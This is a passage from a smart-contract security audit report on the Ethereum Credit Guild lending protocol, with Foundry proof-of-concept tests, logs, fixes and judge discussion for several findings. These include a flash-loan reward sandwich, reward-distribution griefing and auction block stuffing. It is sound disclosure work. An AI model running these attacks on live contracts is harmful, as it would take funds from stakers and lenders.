        console.log("EXPLOITER Credit Balance after flashloan:      ", gUSDC.balanceOf(EXPLOITER));
        vm.startPrank(EXPLOITER);
        gUSDC.approve(address(sgmUSDC), 10_000_000e18);
        sgmUSDC.stake(termUSDC, 10_000_000e18);
        console.log("EXPLOITER Credit balance after stake:                                   ", gUSDC.balanceOf(EXPLOITER));
        vm.stopPrank();

    	vm.warp(block.timestamp + 150 days);
        uint256 interest = _computeAliceLoanInterest(borrowTime, 100e18);
        vm.prank(governor);
        profitManagerUSDC.setProfitSharingConfig(
            0.05e18, // surplusBufferSplit
            0.9e18, // creditSplit
            0.05e18, // guildSplit
            0, // otherSplit
            address(0) // otherRecipient
        );

        profitManagerUSDC.notifyPnL(termUSDC, int256(interest));
        
        sgmUSDC.getRewards(EXPLOITER, termUSDC);
        console.log("EXPLOITER (instant) Credit reward:                     ", gUSDC.balanceOf(address(EXPLOITER)));
        console.log("EXPLOITER (instant) Guild reward:                     ", guild.balanceOf(address(EXPLOITER)));
        //EXPLOITER's profit is based on the guild split since he own almost all of the GUILD totalSupply.

        vm.startPrank(EXPLOITER);
        sgmUSDC.unstake(termUSDC, 10_000_000e18);
        vm.stopPrank();

        console.log("EXPLOITER credit balance after unstake:        ", gUSDC.balanceOf(EXPLOITER));

        // NOTE: EXPLOITER repays the flash loan here.

        sgmUSDC.getRewards(STAKER1, termUSDC);
        sgmUSDC.getRewards(STAKER2, termUSDC);
        sgmUSDC.getRewards(STAKER3, termUSDC);
        console.log("Staker1 credit reward:                                      ", gUSDC.balanceOf(address(STAKER1)));
        console.log("Staker1 guild reward:                                      ", guild.balanceOf(address(STAKER1)));
        console.log("Staker2 credit reward:                                     ", gUSDC.balanceOf(address(STAKER2)));
        console.log("Staker2 guild reward:                                      ", guild.balanceOf(address(STAKER2)));
        console.log("Staker3 credit reward:                                     ", gUSDC.balanceOf(address(STAKER3)));
        console.log("Staker3 guild reward:                                      ", guild.balanceOf(address(STAKER3)));
        console.log("GaugeProfitIndex:                                     ", profitManagerUSDC.gaugeProfitIndex(termUSDC));
    }

    // Function that will compute Alice's interest with which notifyPnL will be called so that the attack is as accurate as possible
    function _computeAliceLoanInterest(uint borrowTime, uint borrowAmount) private view returns (uint interest) {
        uint256 _INTEREST_RATE = 0.10e18; // 10% APR --- from LendingTerm tests
        uint256 YEAR = 31557600;

        interest = (borrowAmount * _INTEREST_RATE * (block.timestamp - borrowTime)) / YEAR / 1e18;
    }
}

There are tests for both cases – one without the attack and another with the attack scenario.

Run them with:

forge test --match-contract "DeflateGuildHoldersRewardsUnitTest" --match-test "testGuildHoldersRewards" -vvv
Logs:
  -------------------------------AFTER ATTACK-------------------------------
  EXPLOITER Credit Balance before flashloan:                               0
  EXPLOITER Credit Balance after flashloan:       10000000000000000000000000
  EXPLOITER Credit balance after stake:                                    0
  EXPLOITER (instant) Credit reward:                      205305960080000000
  EXPLOITER (instant) Guild reward:                      1026529800400000000
  EXPLOITER credit balance after unstake:         10000000205305960080000000
  Staker1 credit reward:                                       4106119201600
  Staker1 guild reward:                                       20530596008000
  Staker2 credit reward:                                      16424476806400
  Staker2 guild reward:                                       82122384032000
  Staker3 credit reward:                                      12318357604800
  Staker3 guild reward:                                       61591788024000
  GaugeProfitIndex:                                      1000000010265298004

Logs:
  ------------------------------BEFORE ATTACK------------------------------
  Staker1 credit reward:                                   25667351129363200
  Staker1 guild reward:                                   128336755646816000
  Staker2 credit reward:                                  102669404517452800
  Staker2 guild reward:                                   513347022587264000
  Staker3 credit reward:                                   77002053388089600
  Staker3 guild reward:                                   385010266940448000
  GaugeProfitIndex:                                      1000064168377823408

Providing recommendations is challenging due to the large codebase, and code changes might affect other parts of the system.

The things we came up with to protect against this are to not allow staking and unstaking in the same block, implementing staking/unstaking fee, or implement a “warm-up period” during which stakers are unable to accumulate interest.

We are open to collaborate with the development team to find a proper mitigation for the problem.

Assessed type

Context

eswak (Ethereum Credit Guild) acknowledged, but disagreed with severity and commented:

Thanks for the quality of the report. Confirming this but disagree with the severity, given the size of the impact: the split of interests going to GUILD holders is expected to be small (it is set to 1% in the deployment file). So for a loan that pays 4% APR, GUILD token holders will receive 0.04% of the principal in interests after 1 year. For a single loan, this amount is small and probably not worth the gas/time cost of coding/running a frontrunner, taking flashloans, etc.

TrungOre (judge) decreased severity to Medium

btk (warden) commented:

How an exploiter can take a $10 million USDC flashloan and then wait for 150 days? Aren’t flashloans meant to be repaid in the same transaction? Also, in repaying Alice’s position, the repay() function uses msg.sender.

Slavcheww (warden) commented:

I strongly advise you to read the report again, the Еxploiter never owns the flash loan for 150 days.

Also, in repaying Alice’s position, the repay() function uses msg.sender.

About that, yes there was a mistake in the steps, Alice will repay it, lowering all other rewards.

This is a simpler sandwich attack.

btk (warden) commented:

@Slavcheww - I did review your PoC carefully, in your PoC you said that the attacker will take 10m flashloan here:

gUSDC.mint(EXPLOITER, 10_000_000e18);

Following that, you used warp to warp 150 days before repaying the flashloan here:

vm.warp(block.timestamp + 150 days);
uint256 interest = _computeAliceLoanInterest(borrowTime, 100e18);

Could you please explain how can the exploiter do that in a real world scenario?

Slavcheww (warden) commented:

@btk - I did review the PoC again, and yes, you are right. I made a mistake in where the blocks should pass, but even if they pass before the Exploiter takes the flashloan, the result is the same. Staking is based on staked amount, not time.

Here’s the fixed test, the Alice part can also be ignored because it’s not used anywhere, I just forgot to remove it while writing the finding. Alice is not needed at all in the execution of the problem, Exploiter borrow, then wait, get the flashloan, stake, trigger notifyPnL, unstake, return the loan.

https://gist.github.com/Slavchew/acff9a9c094d475b5d4806901eb61b64

Also, in repaying Alice’s position, the repay() function uses msg.sender.

Regarding above, the repay function uses msg.sender, but this is the repayer. As I mentioned, if you create the attack with 2 accounts like in the PoC steps, you need to transfer your credit tokens to the Exploiter to pay off your loan and trigger notifyPnL().


[M-12] Anyone can prolong the time for the rewards to get distributed

Submitted by evmboi32, also found by EV_om, mahdikarimi, Soul22, Infect3d, ast3ros, SECURITISE, grearlake, peter, 0xnev, PENGUN, Jorgect, btk, 3docSec, ether_sky, 0xpiken, and whitehat-boys

Anyone who holds a few wei of credit token can prolong the time for the rewards to get distributed for the rebasing users with minimal effort.

Proof of Concept

A malicious attacker only needs a few wei of tokens to execute the attack.

Let’s imagine that the distribute(40e18) call to distribute 40 credit tokens has been called as a part of the successfully repaid loan. This is normal behavior.

During a distribute call the endTimestamp is calculated as follows:

    uint256 endTimestamp = block.timestamp + DISTRIBUTION_PERIOD;

This means that the 40 tokens should be distributed over the next 30 days. But each time the distribute call is invoked, the endTimestamp is prolonged. An attacker could call distribute(1) to distribute 1 wei of a credit token once per day to prolong the distribution for around 3x-ish.

Coded POC

Add this test to the ERC20RebaseDistributor.t.sol file and add import import "@forge-std/console.sol";

Run with forge test --match-path ./test/unit/tokens/ERC20RebaseDistributor.t.sol -vvv:

function testProlongDistribution() public {
    token.mint(alice, 10e18);
    token.mint(bobby, 20e18);

    vm.prank(alice);
    token.enterRebase();

    vm.prank(bobby);
    token.enterRebase();

    token.mint(address(this), 41e18);

    // Distribute 40 tokens
    uint256 amountToDistribute = 40e18;
    token.distribute(amountToDistribute);
    
    // Attackers calls distribute(1) each day to only distribute 1 wei of a token
    for(uint256 i = 0; i < 30; i++) {
        vm.warp(block.timestamp + 1 days);
        token.distribute(1);
    }

    uint256 distributedSupply = amountToDistribute - token.pendingDistributedSupply();
    console.log("Distributed supply after 30 days:");
    console.log("----------------------------------------------------");
    console.log("Distributed supply         : ", distributedSupply);
    console.log("Expected distributes supply: ", amountToDistribute);

    for(uint256 i = 0; i < 60; i++) {
        vm.warp(block.timestamp + 1 days);
        token.distribute(1);
    }

    console.log();
    distributedSupply = amountToDistribute - token.pendingDistributedSupply();
    console.log("Distributed supply after 90 days:");
    console.log("----------------------------------------------------");
    console.log("Distributed supply         : ", distributedSupply);
    console.log("Expected distributes supply: ", amountToDistribute);
}
[PASS] testProlongDistribution() (gas: 1233397)
Logs:
  Distributed supply after 30 days:
  ----------------------------------------------------
  Distributed supply         :  25533539461535580376
  Expected distributed supply:  40000000000000000000
  
  Distributed supply after 90 days:
  ----------------------------------------------------
  Distributed supply         :  38107800700086607344
  Expected distributed supply:  40000000000000000000

Either add a minimum amount required (chosen by governance) to invoke a distribute call, if the call is not done by the ProfitManager, or change how rewards are interpolated.

Assessed type

Math

eswak (Ethereum Credit Guild) acknowledged and commented via duplicate issue #1100:

About the rebase distributions: The rewards that can be delayed past the interpolation period (30 days) is (1-1/N)**N ~= 36.78%. This is assuming rewards completely stop to flow, so I am not very worried about this observation and would qualify that as informational/medium, at most.

There probably won’t be any code change related to this, because “the proper way to do it” would be to keep in storage as many linear interpolations as there has been distributions over the last 30 days, and that would open a grief issue where all credit token movements could be made very expensive. I think the simpler implementation that we have now is better because it works well in steady state and smoothen rewards over time.


[M-13] LendingTerm debtCeiling function uses creditMinterBuffer incorrectly

Submitted by niroh, also found by EV_om, carrotsmuggler, EllipticPoint, rvierdiiev, and kaden

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/LendingTerm.sol#L291

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/LendingTerm.sol#L303

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/LendingTerm.sol#L317

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/LendingTerm.sol#L324

Description

The debtCeiling function uses the minimum of hardCap and credit minter remaining buffer (creditMinterBuffer) as a hard limit on the term’s debtCeiling in two places:

Line 298:

if (totalBorrowedCredit == 0 && gaugeWeight != 0) {
            // first-ever CREDIT mint on a non-zero gauge weight term
            // does not check the relative debt ceilings
            // returns min(hardCap, creditMinterBuffer)
            return
                _hardCap < creditMinterBuffer ? _hardCap : creditMinterBuffer;
        }

Line 324:

 if (creditMinterBuffer < _debtCeiling) {
            return creditMinterBuffer;
        }

However, unlike hardCap, the creditMinterBuffer-induced limit should be issuance + creditMinterBuffer instead. This is because the buffer is a limit on additional borrows, not on the total of current issuance and additional borrows. This error triggers a revert in GuildToken::_decrementGaugeWeight whenever a gauge’s current issuance exceeds the remaining buffer. This occurs even if the post-decrement true debtCeiling is above the issuance.

Consequently, guild voters and surplusGuildMinder stakers are unjustifiably prevented from removing their votes/stakes from a gauge. This situation is likely to occur naturally when borrowing demand is high, or as a DOS attack where a malicious actor borrows the sum needed to keep a term’s issuance above the remaining buffer, blocking voters and surplus stakers from exiing their positions.

Impact

Preventing guild voters/surplus stakers from removing votes/stakes from gauges they see as unsafe breaks the main system mechanism, through which term quality is maintained and risk is reduced. In addition, voters/surplus stakers who are unable to exit their positions from term they consider too risky may later have those votes slashed when the term incurs a loss, causing them considerable financial damage.

Proof of Concept

This POC shows how a single term with a single voter can not remove 2% of the votes because the term’s issuance is above the current buffer.

Note: there is another issue with debtCeiling() (see my other submission on the matter) that would prevent removing more than 16.666% of the votes of a single-term market; however, removing 2% should have succeeded in spite of the other issue.

To run:

Add the code below to the test file integrationTestBadDebtFlows.sol. Forge test --match-test 'testRemoveVotesSingleTerm' --fork-url $ETH_RPC_URL -vvv:

function testDebtCeilingBufferError() public {
    //causes this contract to vote on term
    testAllocateGaugeToSDAI();

    //borrow 51% of the credit buffer to simulate issuance being above
    //remaining buffer
    uint256 borrowAmount = rateLimitedCreditMinter.buffer() * 51 / 100;
    uint128 supplyAmount = uint128(borrowAmount);
    bytes32 loanId = _supplyCollateralUserOne(borrowAmount, supplyAmount);

    //try to remove 2%  of the vote
    uint256 decrementAmount = guild.balanceOf(address(this)) * 2 / 100;
    vm.expectRevert("GuildToken: debt ceiling used");
    guild.decrementGauge(address(term), decrementAmount);

    //Reverts due to finding error. Decrementing 2% should succeed in the case
    //of a single term but fails because current issuance is above the remaining buffer.
}

Tools Used

Foundry

In debtCeiling() use issuance + creditMinterBuffer instead of creditMinterBuffer.

TrungOre (judge) commented:

I believe this issue should be treated as a separate medium issue, with the root cause being that: the use of creditMinterBuffer causes debtCeiling to be lower than it should. Medium severity is fit for its impact. Additionally, the sponsor confirmed that creditMinterBuffer should be removed from the debt ceiling calculation instead of applying the recommended mitigation.

eswak (Ethereum Credit Guild) confirmed


[M-14] LendingTerm.sol _partialRepay() A user cannot partial repay a loan with 0 interest

Submitted by Silvermist, also found by rbserver, ElCid, Topmark, and carrotsmuggler

A user is allowed to partial repay a loan via the _partialRepay() function. It has a debtToRepay parameter which determines how much of the loan debt will be repaid. The debtToRepay amount should repay part of the borrowed amount and also a part of the fees and interest.

interestRepaid is calculated when from debtToRepay is subtracted the principalRepaid. It is made like that because we assume when we subtract the principalRepaid from the debtToRepay, the remaining amount from the debtToRepay is the interest.

    uint256 interestRepaid = debtToRepay - principalRepaid;

So far so good, but there is one require or more specifically the interestRepaid != 0 part of the require that causes a problem:

    require(principalRepaid != 0 && interestRepaid != 0, "LendingTerm: repay too small");

That check is used to ensure that the amount the user is repaying is not too small; however, the interestRepaid would be 0 when there is 0 amount interest. A loan can be configured with 0 interest so it is a possible case. We can see it is not a problem to repay it through _repay() but it is impossible to partial repay it.

Proof of Concept

Paste the following test inside test/unit/loan/LendingTerm.t.sol:

    function testPartialRepayWithZeroInterestFail() public {
        LendingTerm term2 = LendingTerm(
            Clones.clone(address(new LendingTerm()))
        );
        term2.initialize(
            address(core),
            term.getReferences(),
            LendingTerm.LendingTermParams({
                collateralToken: address(collateral),
                maxDebtPerCollateralToken: _CREDIT_PER_COLLATERAL_TOKEN,
                interestRate: 0,
                maxDelayBetweenPartialRepay: _MAX_DELAY_BETWEEN_PARTIAL_REPAY,
                minPartialRepayPercent: _MIN_PARTIAL_REPAY_PERCENT,
                openingFee: 0,
                hardCap: _HARDCAP
            })
        );
        vm.label(address(term2), "term2");
        guild.addGauge(1, address(term2));
        guild.decrementGauge(address(term), _HARDCAP);
        guild.incrementGauge(address(term2), _HARDCAP);
        vm.startPrank(governor);
        core.grantRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(term2));
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(term2));
        vm.stopPrank();

        // prepare & borrow
        uint256 borrowAmount = 20_000e18;
        uint256 collateralAmount = 12e18;
        collateral.mint(address(this), collateralAmount);
        collateral.approve(address(term2), collateralAmount);
        bytes32 loanId = term2.borrow(borrowAmount, collateralAmount);
        assertEq(term2.getLoan(loanId).collateralAmount, collateralAmount);

        vm.warp(block.timestamp + 10);
        vm.roll(block.number + 1);
        
        // check that the loan amount is the same as the initial borrow amount to ensure there are no accumulated interest
        assertEq(term2.getLoanDebt(loanId), 20_000e18);

        credit.mint(address(this), 10_000e18);
        credit.approve(address(term2), 10_000e18);

        vm.expectRevert("LendingTerm: repay too small");
        term2.partialRepay(loanId, 10_000e18);
    }

A possible solution would be to remove the interestRepaid != 0 from the require in _partialRepay():

-       require(principalRepaid != 0 && interestRepaid != 0, LendingTerm: repay too small");
+       require(principalRepaid != 0, LendingTerm: repay too small");

And a check to confirm the interest is not 0 before transferring it:

-        CreditToken(refs.creditToken).transfer(
-            refs.profitManager,
-            interestRepaid
-        );
-
-        ProfitManager(refs.profitManager).notifyPnL(
-            address(this),
-            int256(interestRepaid)
-        );

+       if (interest != 0) {
+           CreditToken(refs.creditToken).transfer(
+               refs.profitManager,
+               interestRepaid
+           );
+
+           ProfitManager(refs.profitManager).notifyPnL(
+               address(this),
+               int256(interestRepaid)
+           );
+      }

eswak (Ethereum Credit Guild) confirmed via duplicate issue #782

TrungOre (judge) commented:

I chose this to be the primary issue since it has a very high quality; including clear and insightful context, PoC, and recommendations.


[M-15] LendingTerm::debtCeiling() can return wrong debt as the min() is evaluated incorrectly

Submitted by neocrao, also found by thank_you, TheSchnilch, nonseodion, Varun_05, Aymen0909, Chinmay, mojito_auditor, 0xStalin, twcctop (1, 2), rbserver, The-Seraphs, santipu_, kaden, ether_sky, Byteblockers, Timenov, and mussucal

The LendingTerm::debtCeiling() function calculates the min of creditMinterBuffer, _debtCeiling and _hardCap as shown below:

// return min(creditMinterBuffer, hardCap, debtCeiling)
if (creditMinterBuffer < _debtCeiling) {
    return creditMinterBuffer;
}
if (_hardCap < _debtCeiling) {
    return _hardCap;
}
return _debtCeiling;

However, the above minimum logic is flawed, as it does not always return the minimum of the 3 values.

Impact

As the min() calculation is not correct, the LendingTerm::debtCeiling() might return the incorrect value, and so might return a higher debt ceiling rather than the actual debt ceiling as the function should be returning.

LendingTerm::debtCeiling() is used in GuildToken::_decrementGaugeWeight(), which will will make this function incorrect as well.

Proof of concept

If creditMinterBuffer was 3, _debtCeiling was 5, and _hardCap was 1, then the min of the 3 values should be _hardCap which is 1.

But instead, this condition becomes true creditMinterBuffer < _debtCeiling, which then returns creditMinterBuffer, which is incorrect.

Update the min() logic to be correct:

-   if (creditMinterBuffer < _debtCeiling) {
-      return creditMinterBuffer;
-   }
-   if (_hardCap < _debtCeiling) {
-      return _hardCap;
-   }
-   return _debtCeiling;
+   if (creditMinterBuffer < _debtCeiling && creditMinterBuffer < _hardCap) {
+       return creditMinterBuffer;
+   } else if (_debtCeiling < _hardCap) {
+       return _debtCeiling;
+   } else {
+       return _hardCap;
+   }

eswak (Ethereum Credit Guild) confirmed


[M-16] Auction manipulation by block stuffing and reverting on ERC-777 hooks

Submitted by Cosine, also found by HighDuty, Byteblockers, and OMEN

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/test/proposals/gips/GIP_0.sol#L175-L179

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/AuctionHouse.sol#L118-L196

Summary

The protocol stated out in the C4 description that the deployment script of the protocol, located in test/proposals/gips/GIP_0.sol is also in scope, as protocol deployment/configuration mistakes could be made. A low immutable auction duration set in this deployment script can lead to profitable block stuffing attacks on the desired L2 chains. This attack vector can be further improved under the condition that the collateral token is ERC-777 compatible.

Vulnerability Details

The auction house contract is deployed with the following parameters (auctionDuration and midPoint are immutables):

AuctionHouse auctionHouse = new AuctionHouse(
    AddressLib.get("CORE"),
    650, // midPoint = 10m50s
    1800 // auctionDuration = 30m
);

During the first half of the auction (before midPoint), an increasing amount of the collateral is offered, for the full CREDIT amount.

During the second half of the action (after midPoint), all collateral is offered, for a decreasing CREDIT amount.

The calculation can be seen in the getBidDetail function:

uint256 public immutable midPoint;
uint256 public immutable auctionDuration;

function getBidDetail(bytes32 loanId) public view returns (uint256 collateralReceived, uint256 creditAsked) {
  // check the auction for this loan exists
  uint256 _startTime = auctions[loanId].startTime;
  require(_startTime != 0, 'AuctionHouse: invalid auction');

  // check the auction for this loan isn't ended
  require(auctions[loanId].endTime == 0, 'AuctionHouse: auction ended');

  // assertion should never fail because when an auction is created,
  // block.timestamp is recorded as the auction start time, and we check in previous
  // lines that start time != 0, so the auction has started.
  assert(block.timestamp >= _startTime);

  // first phase of the auction, where more and more collateral is offered
  if (block.timestamp < _startTime + midPoint) {
    // ask for the full debt
    creditAsked = auctions[loanId].callDebt;

    // compute amount of collateral received
    uint256 elapsed = block.timestamp - _startTime; // [0, midPoint[
    uint256 _collateralAmount = auctions[loanId].collateralAmount; // SLOAD
    collateralReceived = (_collateralAmount * elapsed) / midPoint;
  }
  // second phase of the auction, where less and less CREDIT is asked
  else if (block.timestamp < _startTime + auctionDuration) {
    // receive the full collateral
    collateralReceived = auctions[loanId].collateralAmount;

    // compute amount of CREDIT to ask
    uint256 PHASE_2_DURATION = auctionDuration - midPoint;
    uint256 elapsed = block.timestamp - _startTime - midPoint; // [0, PHASE_2_DURATION[
    uint256 _callDebt = auctions[loanId].callDebt; // SLOAD
    creditAsked = _callDebt - (_callDebt * elapsed) / PHASE_2_DURATION;
  }
  // second phase fully elapsed, anyone can receive the full collateral and give 0 CREDIT
  // in practice, somebody should have taken the arb before we reach this condition.
  else {
    // receive the full collateral
    collateralReceived = auctions[loanId].collateralAmount;
    //creditAsked = 0; // implicit
  }
}

This means that as long as the auction goes until a bid is made (which instantly buys the auction), the more profit can be made by executing the auction.

The following conditions allow an attacker to manipulate auctions by stuffing blocks to increase profits:

  1. auctionDuration is set to 1800 seconds (30min) in the deployment script.
  2. auction midPoint is set to 650 seconds (10m50s) in the deployment script.
  3. the protocol will be deployed on L2s let’s take optimism for example (as this chain was mentioned by the devs in discord):

Blocks in optimism are minted every 2s. The block gas limit of optimism is 30M as in ethereum mainnet. At the time of writing this, the cost of stuffing a full block on optimism is around $6.39. See here.

Therefore, preventing a bid for one minute costs $6.39 * 30 blocks = $191.7, and preventing a bid for 30 minutes costs $191.7 * 30 minutes = $5751.

But the attacker will almost never need to stuff blocks for around 30 minutes, as the system of the auction is not profitable in the beginning and it starts to be really profitable after the midpoint. It also starts to be much more damaging to the system at this point. Which is after 10m 50s and the costs to stuff blocks for 10m 50s is $191.7 * 10.5 minutes = $2012.85. As mentioned before, the auction is not profitable at the beginning; therefore, no one will bid on second one and the attacker does not need to stuff blocks instantly. This means the attack will most likely cost less than $2000.

Therefore, if at any given timestamp the profit of the auction outweighs the cost of stuffing blocks for the time till the deal becomes profitable for the attacker a system damaging incentive appears and manipulating auctions becomes a profitable attack vector.

But the impact increases further in terms of griefing as loss for terms can occur after the midPoint which will instantly lead to slashing and therefore, all stakers of the given term will lose all their credit tokens weighted on this term.

The following code snippets showcase the slashing mechanism that lead to a total loss for the stakers if the term receives any loss during these block stuffing attack:

function bid(bytes32 loanId) external {
    ...

    LendingTerm(_lendingTerm).onBid(
        loanId,
        msg.sender,
        auctions[loanId].collateralAmount - collateralReceived, // collateralToBorrower
        collateralReceived, // collateralToBidder
        creditAsked // creditFromBidder
    );

    ...
}

function onBid(
    bytes32 loanId,
    address bidder,
    uint256 collateralToBorrower,
    uint256 collateralToBidder,
    uint256 creditFromBidder
) external {
    ...

    int256 pnl;
    uint256 interest;
    if (creditFromBidder >= principal) {
        interest = creditFromBidder - principal;
        pnl = int256(interest);
    } else {
        pnl = int256(creditFromBidder) - int256(principal);
        principal = creditFromBidder;
        require(
            collateralToBorrower == 0,
            "LendingTerm: invalid collateral movement"
        );
    }

    ...

    // handle profit & losses
    if (pnl != 0) {
        // forward profit, if any
        if (interest != 0) {
            CreditToken(refs.creditToken).transfer(
                refs.profitManager,
                interest
            );
        }
        ProfitManager(refs.profitManager).notifyPnL(address(this), pnl);
    }

    ...
}

function notifyPnL(
    address gauge,
    int256 amount
) external onlyCoreRole(CoreRoles.GAUGE_PNL_NOTIFIER) {
    ...

    // handling loss
    if (amount < 0) {
        uint256 loss = uint256(-amount);

        // save gauge loss
        GuildToken(guild).notifyGaugeLoss(gauge);

        // deplete the term surplus buffer, if any, and
        // donate its content to the general surplus buffer
        if (_termSurplusBuffer != 0) {
            termSurplusBuffer[gauge] = 0;
            emit TermSurplusBufferUpdate(block.timestamp, gauge, 0);
            _surplusBuffer += _termSurplusBuffer;
        }

        if (loss < _surplusBuffer) {
            // deplete the surplus buffer
            surplusBuffer = _surplusBuffer - loss;
            emit SurplusBufferUpdate(
                block.timestamp,
                _surplusBuffer - loss
            );
            CreditToken(_credit).burn(loss);
        }
    } ...
}

function notifyGaugeLoss(address gauge) external {
    require(msg.sender == profitManager, "UNAUTHORIZED");

    // save gauge loss
    lastGaugeLoss[gauge] = block.timestamp;
    emit GaugeLoss(gauge, block.timestamp);
}

/// @notice apply a loss that occurred in a given gauge
/// anyone can apply the loss on behalf of anyone else
function applyGaugeLoss(address gauge, address who) external {
    // check preconditions
    uint256 _lastGaugeLoss = lastGaugeLoss[gauge];
    uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][who];
    require(
        _lastGaugeLoss != 0 && _lastGaugeLossApplied < _lastGaugeLoss,
        "GuildToken: no loss to apply"
    );

    // read user weight allocated to the lossy gauge
    uint256 _userGaugeWeight = getUserGaugeWeight[who][gauge];

    // remove gauge weight allocation
    lastGaugeLossApplied[gauge][who] = block.timestamp;
    _decrementGaugeWeight(who, gauge, _userGaugeWeight);
    if (!_deprecatedGauges.contains(gauge)) {
        totalTypeWeight[gaugeType[gauge]] -= _userGaugeWeight;
        totalWeight -= _userGaugeWeight;
    }

    // apply loss
    _burn(who, uint256(_userGaugeWeight));
    emit GaugeLossApply(
        gauge,
        who,
        uint256(_userGaugeWeight),
        block.timestamp
    );
}

This attack vector can be further improved under the condition that the collateral token is ERC-777 compatible. It is advised to first read the report called Bad debt can occur if the collateral token blacklists a borrower leading to total loss of stake for all lenders on that term which showcases how the auction time is increased until the midPoint of the auction if transferring the collateral tokens to the borrower reverts.

The attack path would be as follows:

  1. Attacker borrows a loan (with a ERC-777 compatible collateral token) using a contract that revert on receiving the collateral back if the tx.origin != address (attacker).
  2. The attacker receives the credit token from the loan and deposits collateral into the protocol.
  3. The attacker does not repay the loan after the first partial duration and call it for auction.
  4. As showcased, every call until the midPoint will revert when trying to transfer the collateral back to the attacker. This will drastically decrease the costs for the attacker as he does not need to stuff blocks until the midPoint is reached.
  5. After the midPoint is reached, the attacker can start stuffing blocks till bad debt occurs. At this time, the attacker can bid on the auction and will therefore, buy the full collateral back for less credit tokens than the attacker received for the loan.
  6. If it is possible for the attacker to stuff blocks and wait until the asked credit amount goes to 0, the attacker was able to steal almost the full loan amount; which can potentially be way bigger than the gas amount for stuffing the blocks.

Impact

The attacker can prevent other users from bidding on the auction and therefore, manipulate the auction to a point where the attacker would be able to buy the full collateral for almost zero credit tokens. As loss for the term occurs in such an event, all stakers of the given term will lose all their credit tokens weighted on this term. If the given collateral token is ERC-777 compatible, the costs of such an attack can be drastically reduced and the attack can potentially become a self liquidation attack.

Recommendation

Increase the auction duration, as the longer the auction goes the less profitable such an attack would be and implement the mentioned fix in the Bad debt can occur if the collateral token blacklists a borrower leading to total loss of stake for all lenders on that term report.

Assessed type

MEV

eswak (Ethereum Credit Guild) acknowledged, but disagreed with severity and commented:

I’m skeptical of this being a valid finding (despite fomo3d), at least it’s not a high. It is true that there is more spam/censorship risk on Optimism & Arbitrum. On mainnet, liquidators can use flashbots etc, while on Arbitrum, the sequencer is first come first served. If the liquidator raises the gas price of one tx, the spammer has to raise the gas price of all tx that fill the block. Costs can get out of hand pretty quickly. Take-away I think is that on L2s, the auctions should be long enough to account for this. We’ve also been discussing very long auctions internally to minimize liquidity risk (and allow people to have time to bridge assets in order to participate in auctions), which also mitigates this vector.

TrungOre (judge) decreased severity to Low

TrungOre (judge) increased severity to Medium and commented:

After reviewing again, I consider this to be an issue of block stuffing attack on the auction—a hypothetical attack path that could be profitable for attacker and result in losses for protocol. So I believe this should be a medium.

btk (warden) commented:

@TrungOre, could you please take another look?

The PoC seems impractical, assuming a constant gas price, which doesn’t reflect reality. As the sponsor noted, “Costs can get out of hand pretty quickly,” and auction profits wouldn’t cover such expenses.

Edit: The report didn’t consider EIP1559. Reference here:

With EIP-1559, the base fee will increase and decrease by up to 12.5% after blocks are more than 50% full. For example, if a block is 100% full the base fee increases by 12.5%; if it is 50% full the base fee will be the same; if it is 0% full the base fee would decrease by 12.5%.

Cosine (warden) commented:

@btk - The maximum increase of the base fee on optimism (which was the blockchain taken as an example in this report) is 10% (See here). You are right that the costs of the attack are increased, but could still be profitable depending on the size of the loan. The attacker does also not need to stuff blocks for the full 30 minutes. Even one or a few blocks could be profitable depending on the size of the loan and the costs of stuffing a few blocks when the first one costs $6 and increases by 10% is pretty low.

TrungOre (judge) commented:

Although it is very unlikely to make profits, I still consider it as a possible hypothetical path with low likelihood. With the current configuration (30 minutes for auction duration), it doesn’t guarantee that block stuffing might not be possible, so this issue should be medium.

Note: For full discussion, see here.


[M-17] The gauge status wasn’t checked before reducing the user’s gauge weight.

Submitted by 0xpiken, also found by Byteblockers

Guild holders might have the opportunity to protect themselves from being slashed by reducing their weight on an offboarded gauge; thereby, transferring the loss to other passive holders and all credit token holders.

Proof of Concept

The mechanism utilized by the ECG protocol to address loan losses is as follows:

  1. In the event of any loss to the lending term triggered by ProfitManager#notifyPnL(), all staked guild tokens on this term will be entirely slashed through GuildToken#notifyGaugeLoss(), regardless of the magnitude of the loss, as soon as it occurs.
  2. termSurplusBuffer[gauge] will be depleted and donate to surplusBuffer.
  3. loss will decreased from surplusBuffer first.
  4. Should the surplusBuffer be lower than the loss, the remaining loss will be deducted from each credit token by reducing the creditMultiplier.

A term can be offboarded if it is unsafe. Once offboarded, the redemption function of corresponding SimplePSM will be paused:

161:        // pause psm redemptions
162:        if (
163:            nOffboardingsInProgress++ == 0 &&
164:            !SimplePSM(psm).redemptionsPaused()
165:        ) {
167:            SimplePSM(psm).setRedemptionsPaused(true);
168:        }

No credit token holders can redeem credit tokens for peg tokens at the moment. The redemption function could be unpaused by calling LendingTermOffboarding#cleanup() once all loans on term are closed:

190:        // unpause psm redemptions
191:        if (
192:            --nOffboardingsInProgress == 0 && SimplePSM(psm).redemptionsPaused()
193:        ) {
194:            SimplePSM(psm).setRedemptionsPaused(false);
195:        }

From above we can see, the loss may or may not happen to the offboarded term, but once it happen, the loss will be marked down to all credit token holders. No one can exit in advance and pass potential loss to others.

However, guild holders could have chance to reduce their weight on the offboarded term, transferring the potential loss to other passive holders and all credit token holders.

Copy below codes to LendingTermOffboarding.t.sol and run forge test --match-test testOffboardTermAndDecrementGauge:

    function testOffboardTermAndDecrementGauge() public {
        //@audit-info term2 is deployed
        LendingTerm term2 = LendingTerm(Clones.clone(address(new LendingTerm())));
        term2.initialize(
            address(core),
            LendingTerm.LendingTermReferences({
                profitManager: address(profitManager),
                guildToken: address(guild),
                auctionHouse: address(auctionHouse),
